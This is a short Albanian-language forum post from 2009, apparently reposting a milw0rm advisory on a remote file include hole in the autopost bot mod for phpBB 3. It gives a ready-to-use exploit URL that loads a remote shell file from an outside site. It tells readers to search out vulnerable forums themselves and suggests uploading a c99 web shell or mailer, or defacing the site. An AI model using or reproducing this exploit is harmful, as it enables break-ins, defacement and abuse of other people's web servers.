phpBB 3 (autopost bot mod <= 0.1.3) Remote File Include Vulnerability [~] Author : Kacper

nga **σт¢нєє™** Mon Apr 27, 2009 5:18 pm

Remote FIle Include Vulnerability ne phpBB3 tek autopost .

Kjo RFI nuk punon ne php5 ose ne ndonje version me te ri .

Kerkoni ndonje web qe e ka ket komponent , dork gjejeni vet .

/forum_path/includes/functions_lastrss_autopost.php?config[lastrss_ap_enabled]=1&phpbb_root_path=www.khg-cr3w.org/shelli.txt??

forum_path - Dmth ky osht path -i i forumit , munet me qen forum , board , nvaret qysh ja len admini .

functions_lastrss_autopost.php , dmth kjo eshte komponenti i cili eshte Vulnerability .

Pasi te jeni lishur ne shell , mundeni me bo qfar te doni me uplaod ndonje shell c99.php , ose ndonje mailer , apo edhe deface mundeni me bo :-)

# milw0rm.com [2009-02-20]